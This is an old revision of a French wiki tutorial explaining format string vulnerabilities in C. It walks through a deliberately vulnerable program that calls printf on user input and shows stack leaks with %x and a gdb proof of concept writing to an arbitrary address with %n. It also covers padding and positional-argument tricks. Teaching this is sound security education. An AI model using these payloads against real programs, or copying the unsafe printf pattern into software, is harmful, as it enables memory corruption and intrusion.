Outils d'utilisateurs

Outils du Site


failles_app:format_string

Ceci est une ancienne révision du document !


Les failles de type format string

Introduction

Je rédige ce papier afin de combler un manque cruel (à mon sens) de documentation à propos de ces failles. L’essentiel des tutos/papiers que l’on trouve sur le net sont en anglais, ce qui ne facilite pas la compréhension du sujet. Pour les quelques rares documents rédigés en français, ils sont bien souvent très mal tournés (je trouve).

Je vais donc tenter d’expliquer le principe des Format String de la façon dont j’aurais aimé qu’on le fasse au moment ou j’ai moi-même appris.


SOMMAIRE



  • 1 Rappels sur les fonctions de la famille printf()
    • 1.1 Comportement global
    • 1.2 Les formateurs (partie 1)
  • 2 La faille Format String, théorie
    • 2.1 Un programme faillible
    • 2.2 Explication de la faille
    • 2.3 Les formateurs (partie 2)
      • 2.3.1 Les formateurs “directs”
      • 2.3.2 Les formateurs “pointeurs”
      • 2.3.3 Le formateur %n
  • La faille Format String, exploitation
    • 3.1 Théorie
    • 3.2 Pratique

1 Rappels sur les fonctions de la famille printf()

1.1 Comportement global

Ces fonctions ont la particularité d'utiliser une technique un peu spéciale pour traiter les données qu'elles manipulent. En effet, elles se basent sur des “formateurs”, pour interpréter leurs arguments et les mettre en forme. Voici un exemple :

exemple1.c
#include <stdio.h>
 
int main()
{
   int nombre = 5;
   printf("L'adresse de la variable nombre est %x ou encore %d, et sa valeur est %d.\n", &nombre, &nombre, nombre);
   return 0;
}
Terminal
[root@VmZenk:~/tests]$ ./exemple1
L'adresse de la variable nombre est bffffcdc ou encore -1073742628, et sa valeur est 5.

1.2 Les formateurs (partie 1)

Pour l'instant, juste quelques mots sur les formateurs afin de bien comprendre leur fonctionnement. Chaque formateur placé dans une chaine remplace une valeur codée sur 4 octets (généralement). Cela signifie qu'au moment de l'exécution, les variables à afficher ont été placées sur la pile et que la fonction printf() parcourt cette dernière 4 octets par 4 octets pour trouver les valeurs qu'elle doit afficher, puisque ces valeurs sont stockées dans l'ordre qui a été spécifié dans le programme. Nous allons nous arrêter ici pour le moment en ce qui concerne les formateurs.

2 La faille Format String, théorie

2.1 Un programme faillible

Le programme ci-dessous sera l’exemple utilisé tout au long de l’article.

vuln.c
#include <string.h>
#include <stdio.h>
 
 
int main(int argc, char**argv)
{
   char msg[1024];
 
   if (argc < 2)
   {
      printf("Usage : entrez une chaine a afficher\n");
      return -1;
   }
 
   strncpy(msg, argv[1], 1023);
   msg[1023] = 0;
 
   printf(msg);
   printf("\n");
   return 0;
 
}
Terminal
[root@VmZenk:~/tests]$ ./vuln Yop
Yop

Bon pas de surprise. La variable « msg » a été remplacée par notre argument et printf() l’a affichée. Voyons autre chose :

Terminal
[root@VmZenk:~/tests]$ ./vuln %x%x%x%x
bffffea23fff078257825

Ou encore :

Terminal
[root@VmZenk:~/tests]$ ./vuln %s%s%s%s
Erreur de segmentation

2.2 Explication de la faille

Prenons le premier cas. On passe en argument à notre programme des formateurs. Le programme se retrouve donc à exécuter la chose suivante en arrivant à la ligne printf(msg); :

  printf("%x%x%x%x");

Seulement vous avez remarqué que la fonction printf() n'a pas d'arguments pour remplacer les formateurs dans la chaine. Elle affiche donc ce qu'elle a sous la main, c'est à dire les valeurs présentes sur la pile. C'est une première chose embêtante, par exemple dans le cas d'un programme utilisant un système de login ou de mots de passe, on pourrait se servir de cette technique pour les afficher à l'écran. Mais les possibilités sont bien plus alléchantes que ça.

Dans le deuxième cas, le programme se termine en erreur de segmentation, et cela est dû au fait que le formateur %s fonctionne différemment par rapport au %x du premier cas. Nous allons tout de suite expliquer cette différence de fonctionnement.

2.3 Les formateurs (partie 2)

Nous avons vu précédemment, et brièvement ce qu'étaient et à quoi servaient les formateurs. A présent nous allons devoir les classer en deux catégories, et comprendre impérativement le pourquoi du comment, et ce qui les différencie. C'est selon moi la partie la plus importante et délicate à comprendre.

Les deux catégories seront donc les formateurs “pointeurs”, et les formateurs “directs”. Les noms des catégories sont maisons je le précise, il y a peu de chance que vous retrouviez ces termes autre part.

2.3.1 Les formateurs directs

Reprenons le premier des deux exemples ci dessus, afin de décrire son fonctionnement :

Terminal
[root@VmZenk:~/tests]$ ./vuln %x%x%x%x
bffffea23fff078257825

Le formateur %x est donc un formateur “direct” pour la raison suivante : il affiche tout simplement la valeur qu'il trouve sur la pile. Voyons ça avec une petite représentation de la pile. Ne vous inquiétez pas, les valeurs de la pile correspondent à l’affichage sauf que dans le terminal les 0 sont tronqués.

                PILE
            ____________
  1er  %x ->[ bffffea2 ] <- %x cible la valeur bffffea2 sur la pile, donc affichage : "bffffea2" dans le terminal.
  2eme %x ->[ 000003ff ] <- %x cible la valeur 000003ff sur la pile, donc affichage : "000003ff" dans le terminal.
  3eme %x ->[ 000000f0 ] <- %x cible la valeur 000000f0 sur la pile, donc affichage : "000000f0" dans le terminal.
  4eme %x ->[ 78257825 ] <- %x cible la valeur 78257825 sur la pile, donc affichage : "78257825" dans le terminal.
            [ XXXXXXXX ]
            ------------

Vous devez donc retenir que le formateur %x affiche donc simplement la valeur qu'il cible sur la pile, sans se préoccuper de quoi que ce soit d'autre.

2.3.2 Les formateurs pointeurs

Ici, nous nous serviront du deuxième exemple vu tout à l'heure :

Terminal
[root@VmZenk:~/tests]$ ./vuln %s%s%s%s
Erreur de segmentation

Le formateur %s est de type “pointeur”, c'est à dire qu'au lieu d'afficher la valeur qu'il trouve sur la pile, il va afficher ce qui est POINTE par cette valeur. Rien ne vaut un bon exemple :

                PILE
            ____________
  1er  %s ->[ bffffea2 ] <- %s cible la valeur bffffea2 sur la pile, donc affichage DE CE QUI SE TROUVE EN MEMOIRE A L'ADRESSE : "bffffea2".
  2eme %s ->[ 000003ff ] <- %s cible la valeur 000003ff sur la pile, donc affichage DE CE QUI SE TROUVE EN MEMOIRE A L'ADRESSE : "000003ff".
  3eme %s ->[ 000000f0 ] <- %s cible la valeur 000000f0 sur la pile, donc affichage DE CE QUI SE TROUVE EN MEMOIRE A L'ADRESSE : "000000f0".
  4eme %s ->[ 78257825 ] <- %s cible la valeur 78257825 sur la pile, donc affichage DE CE QUI SE TROUVE EN MEMOIRE A L'ADRESSE : "78257825".
            [ XXXXXXXX ]
            ------------

Voila pourquoi le programme plante avec les %s !! Le deuxième %s essaye d'afficher la valeur contenue en mémoire à l'adresse 000003ff. Cette adresse n'existe pas pour le programme → erreur de segmentation. Maintenant le premier %s semble cibler une adresse qui pourrait appartenir au programme. En effet bffffea2 a plus de chance de faire partie du contexte d'adressage du programme que 000003ff. Donc essayons de relancer le programme comme ceci :

Terminal
[root@VmZenk:~/tests]$ ./vuln %s
%s
                PILE
            ____________
       %s ->[ bffffea2 ] <- %s cible la valeur bffffea2 sur la pile, donc affichage DE CE QUI SE TROUVE EN MEMOIRE A L'ADRESSE : "bffffea2".
            [ 000003ff ]
            [ 000000f0 ]
            [ 78257825 ]
            [ XXXXXXXX ]
            ------------

Ici le programme n'a pas planté. Printf() a su afficher ce qui se trouvait à l'adresse 0xbffffea2 car cette adresse fait bien partie de l'espace d'adressage du programme. Ici c'est même un cas particulier, il semble que l'adresse 0xbffffea2 pointe sur notre premier argument, d'où l'affichage du %s dans le terminal.

2.3.3 Le formateur %n

Celui ci je le prends à part, il est vitale pour exploiter une faille de type Format String. Tout d'abord, c'est un formateur POINTEUR, je vous ai expliqué rabâché en long en large et en travers ce que ce type de formateur avait de particulier dans la partie précédente, je suis sûr que ça ne vous a pas échappé.

Cela dit, il se différencie radicalement d'un %s par exemple, car %s ne fait que LIRE dans la mémoire. A l'inverse %n ECRIT dans la mémoire. Donc %n ECRIT là ou pointe la valeur qu'il trouve sur la pile, et il y écrit le nombre de caractères déjà affichés avant lui par la fonction printf().

Un exemple :

test.c
#include <string.h>
#include <stdio.h>
 
 
int main(int argc, char**argv)
{
 
   int nbCaracteresAffiches = 0;
 
   printf("123456%n\n", &nbCaracteresAffiches);
   printf("Nombre de caracteres affiches : %d\n", nbCaracteresAffiches);
 
   return 0;
}

L'exécution de ce programme donne :

Terminal
[root@VmZenk:~/tests]$ ./test
123456
Nombre de caracteres affiches : 6

Comme dit précédemment, %n est un formateur de type pointeur. Nous avons passé en argument à la fonction printf() un pointeur sur la variable nbCaracteresAffiches. A l'execution, printf() a donc placé à cette adresse le nombre de caractères affichés avant lui par printf(), 6 caractères : “123456”.

Conclusion, on a la possibilité d'écrire en mémoire grâce à printf() et le formateur %n. Tout l'enjeu va maintenant être d'arriver à contrôler OU on va écrire.

3 La faille Format String, exploitation

3.1 Théorie

Toujours dans notre programme exemple, au moment de l'appel à printf(msg), notre variable msg va être empilée et si elle contient des formateurs, printf() va essayer de les remplacer par ce qu'il aura sous la main, c'est à dire simplement notre variable puisqu'on n'a pas fourni d'autres arguments. Printf() va donc tenter de remplacer les formateurs de la variable msg … avec les données de msg elle même.

Rappelez-vous, les formateurs %x nous permettent de lire la mémoire car chacun d'eux est substitué par une valeur qu'il “cible” sur la pile. Nous allons chercher le nombre de formateurs nécessaires pour tomber à l'endroit de la mémoire (de la pile) où commence notre variable « msg ». Les valeurs qui vont s'afficher seront différentes de celles que nous avons vu dans les parties précédentes. Ce n'est pas important. On place donc AAAA dans le début du buffer, pour les reconnaître facilement quand le nombre de %x sera suffisant pour retomber sur eux. L’exemple suivant sera plus parlant.

Terminal
[root@VmZenk:~/tests]$ ./vuln AAAA%x
AAAAbffffea0

On ajoute à chaque fois un %x supplémentaire pour afficher la suite de la mémoire.

Terminal
[root@VmZenk:~/tests]$ ./vuln AAAA%x%x
AAAAbffffe9e3ff

Terminal
[root@VmZenk:~/tests]$ ./vuln AAAA%x%x%x
AAAAbffffe9c3fff0

Terminal
[root@VmZenk:~/tests]$ ./vuln AAAA%x%x%x%x
AAAAbffffe9a3fff041414141
Et voila, on remarque les 41414141 (AAAA) qui s'affichent, le quatrième %x cible donc cette valeur sur la pile. Pour 

bien préciser les choses :

                PILE
            ____________
  1er  %x ->[ bffffe9a ] <- %x cible la valeur bffffe9a sur la pile, donc affichage : "bffffe9a" dans le terminal.
  2eme %x ->[ 000003ff ] <- %x cible la valeur 000003ff sur la pile, donc affichage : "000003ff" dans le terminal.
  3eme %x ->[ 000000f0 ] <- %x cible la valeur 000000f0 sur la pile, donc affichage : "000000f0" dans le terminal.
  4eme %x ->[ 41414141 ] <- %x cible la valeur 41414141 sur la pile, donc affichage : "41414141" dans le terminal.
            [ XXXXXXXX ]
            ------------

Donc à présent, si nous remplaçons notre quatrième %x par un formateur pointeur, %n pourquoi pas, nous seront en mesure d'écrire là ou pointe la valeur ciblée le quatrième formateur. On aura donc ceci :

                PILE
            ____________
  1er  %x ->[ bffffe9a ] <- %x cible la valeur bffffe9a sur la pile, donc affichage : "bffffe9a" dans le terminal.
  2eme %x ->[ 000003ff ] <- %x cible la valeur 000003ff sur la pile, donc affichage : "000003ff" dans le terminal.
  3eme %x ->[ 000000f0 ] <- %x cible la valeur 000000f0 sur la pile, donc affichage : "000000f0" dans le terminal.
       %n ->[ 41414141 ] <- %n cible la valeur 41414141 sur la pile, donc ECRITURE à l'adresse : "41414141"
            [ XXXXXXXX ]
            ------------

La preuve en image :

Terminal
[root@VmZenk:~/tests]$ ./vuln AAAA%x%x%x%n
Erreur de segmentation

“Erreur de segmentation” évidemment car nous avons détourné le fonctionnement du programme pour que printf() aille écrire à l'adresse 0x41414141, adresse qui évidemment n'existe pas. Gdb nous le prouve :

Terminal
(gdb) r AAAA%x%x%x%n
Starting program: /root/tests/vuln AAAA%x%x%x%n
 
Program received signal SIGSEGV, Segmentation fault.
0xb7ed5c35 in vfprintf () from /lib/i686/cmov/libc.so.6     <------------ **printf() plante sur l'instruction à l'adresse 0xb7ed5c35** 
 
(gdb) x/i 0xb7ed5c35
0xb7ed5c35 <vfprintf+16213>:    mov    DWORD PTR [eax],edx  <------------ **cette instruction = place la valeur contenue dans edx à l'adresse contenue dans eax**
 
(gdb) i reg $eax
eax            0x41414141       1094795585                  <------------ **eax contient bien "l'adresse" que nous avons choisi**

En revanche, si nous remplaçons les AAAA dans le buffer par une adresse existante, nous allons pouvoir y écrire. J'ai choisi d'écrire à l'adresse 0xbffff890 (pourquoi celle là ? … Il fallait bien en choisir une …).

Un petit POC via gdb :

Terminal
(gdb) disass main
Dump of assembler code for function main:
0x08048464 <main+0>:    push   ebp
0x08048465 <main+1>:    mov    ebp,esp
...
...
...
0x080484a4 <main+64>:   call   0x804835c <strncpy@plt>
0x080484a9 <main+69>:   mov    BYTE PTR [esp+0x40f],0x0
0x080484b1 <main+77>:   lea    eax,[esp+0x10]
0x080484b5 <main+81>:   mov    DWORD PTR [esp],eax          <------------ **Premier breakpoint avant l'appel à printf()**
0x080484b8 <main+84>:   call   0x804838c <printf@plt>       <------------ **Appel à printf()**
0x080484bd <main+89>:   mov    DWORD PTR [esp],0xa          <------------ **Deuxième breakpoint juste après l'appel à printf()**
...
...
End of assembler dump.
 
(gdb) b*main+81
Breakpoint 1 at 0x80484b5
(gdb) b*main+89
Breakpoint 2 at 0x80484bd
 
(gdb) r $(python -c 'print "\x90\xf8\xff\xbf%x%x%x%n"')
Starting program: /root/tests/vuln $(python -c 'print "\x90\xf8\xff\xbf%x%x%x%n"')
 
Breakpoint 1, 0x080484b5 in main ()
(gdb) x/x 0xbffff890                                        
0xbffff890:     0x00000000                                  <------------ **Avant l'appel à printf(), notre adresse cible ne contient rien**
(gdb) c
Continuing.
 
Breakpoint 2, 0x080484bd in main ()
(gdb) x/x 0xbffff890
0xbffff890:     0x00000011                                  <------------ **Après l'appel à printf(), notre adresse cible contient 0x11 (j'explique après pourquoi)**
(gdb) c
Continuing.
▒▒▒▒bffffe823fff0

Conclusion, on a bien réussi à écrire à une adresse arbitraire une certaine valeur. Concernant cette valeur, %n écrit le nombre de caractères que printf() a affiché avant lui. On a écrit la valeur 0x11 = 17. Les 17 caractères sont \x90\xf8\xff\xbf (4 caractères, correspondant au “▒▒▒▒” affiché) + bffffe823fff0 (13 caractères).

3.2 Facilités d'écriture

3.2.1 Raccourcis

Dans les exemples précédents j'utilise ce genre d'argument pour faire comprendre à printf() ce que je veux :

Terminal
[root@VmZenk:~/tests]$ ./vuln AAAA%x%x%x%n
Erreur de segmentation

En réalité les 3 premiers %x ne sont ici pas nécessaires puisqu'on sait que c'est le 4ème formateur qui pointe sur le début de notre buffer. Pour faire comprendre cela à printf() on peut utiliser la notation suivante : %4$x. En faisant cela on économise des caractères dans l'argument et donc dans le buffer qui est affiché par printf(). Ici le buffer a une taille de 1024 donc on n'a pas forcément besoin d'aller à l'économie mais ce n'est pas toujours le cas. D'autre part, dans notre exemple on tombe sur le début du buffer au 4ème formateur, parfois c'est au 250ème (ou plus) et donc on se voit mal envoyer 250 fois %x dans l'argument, un %250$x est beaucoup plus efficace.

3.2.2 Génération de caractères

Printf() obéit à ce genre d'instruction : printf(”%15d”, 10).

Quand on écrit cela, printf() comprend qu'il devra représenter le nombre 10 par 15 caractères.

exemple.c
#include <stdio.h>
 
    int main()
    {
        int a=10;
        printf("%15d\n", a);
    }

A l'exécution cela donne :

Terminal
[root@VmZenk:~/tests]$ ./exemple
             10
[root@VmZenk:~/tests]$

Printf() a bien affiché la valeur de “a” = 10 mais il a mis en padding devant 13 caractères (des espaces peut être je n'ai pas vérifié). Ce qui est important ici c'est que printf() n'a pas affiché 2 caractères ('1' et '0') mais bien 15 caractères. Comme vous le savez %n écrit en mémoire le nombre de caractères affichés avant lui, et cette astuce là va grandement nous aider pour augmenter ce nombre à peu de frais. J'entends par là que pour faire afficher 1000 caractères à printf(), nous n'aurons besoin que de 6 caractères dans notre argument = ”%1000d”. Ces 6 caractères deviendront 1000 caractères à l'exécution.

failles_app/format_string.1339928419.txt.gz · Dernière modification: 2017/04/09 15:33 (modification externe)